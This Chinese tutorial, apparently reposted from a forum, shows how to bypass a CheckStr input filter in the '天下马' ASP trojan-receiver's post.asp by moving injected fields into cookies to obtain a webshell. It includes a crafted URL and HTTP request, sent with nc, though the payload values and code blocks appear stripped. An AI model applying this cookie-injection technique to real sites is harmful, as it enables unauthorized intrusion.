最近看了八进制论坛上针对伯乐ASP收信程序的漏洞分析,通过提交数据达到获取webshell的方法!正好有朋友让我帮忙看一看天下马的提交问题!主要是由于有些程序使用者自定义了一些函数,使得原来的方法不能够绕过函数,但是昨天看了看,还是可以通过其他方法实现的!
首先,天下马的其他bug我们这里就不看了,直接看提交过程!
网上公布的提交过程是类似这种的连接:
http://www.xxx.com/post.asp?act=&d00=202&d01=
src=http://www.a.com>&d02=&d10=&d11=17000813&d20=&d21=&d22=&d23=&d30=天下马
&d31=&d32=1&d33=&d40=0&d41=0&d42=0&d50=&d51=&d98=&d99=123
返回如图1所示表示正常插入
我们来看看察看数据的页面及其部分源代码,如图2所示
但是有些程序却使用了一些自定义函数,针对提交的数据进行验证和过滤
网管网www_bitscn_com
我这里有一份代码如下:
[Copy to clipboard] [ - ]CODE:
相信很多朋友都已经看出来了,正如分析网站系统一样,这个自定义的代码只是针对Request.QueryString和Request.Form进行了过滤,没有对cookie提交的方式进行过滤!那么我们再看看天下马的获取方式
strAreaName = request("d00") //还有很多,只写出一个
....
....
if strAreaName "" then RS("AreaName") = strAreaName //还有很多,只写出一个
....
....
这个是没有经过过滤的天下马的代码,增加自定义函数的页面是将request变量经过了Function CheckStr(ChkStr)的过滤,但是还有一种提交方式就是cookie提交!下面我们看看提交方法!
首先是针对正常提交时候进行抓包分析,然后进行数据包的构造,我这里构造的包如下(这里我将真实信息修改了,^_^):
[Copy to clipboard] [ - ]CODE:
GET /post.asp?
act=&d00=202&d02=&d11=17000813&d20=&d21=&d22=&d23=&d30=cookie&d31=&d32=1&d33=&d40=0&d41=0&d4
网管bitscn_com
2=0&d50=&d51=&d98=&d99=123 HTTP/1.1
Accept: */*
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
Host: xxx.com
Connection: Keep-Alive
Cookie: ASPSESSIONIDCATSSDRC=NAAGENEADMNBDLJJFMKLGMDO;d01=;d10=
这里的数据我们只需要把通过cookie提交的数据放入cookie项中就可以了,其他可以保持不变!
然后使用NC提交!
我们来看看察看数据的页面及其部分源代码,如图3所示
成功写入!
至于利用方法我想就不需要再多写了,朋友们自己去挖掘吧!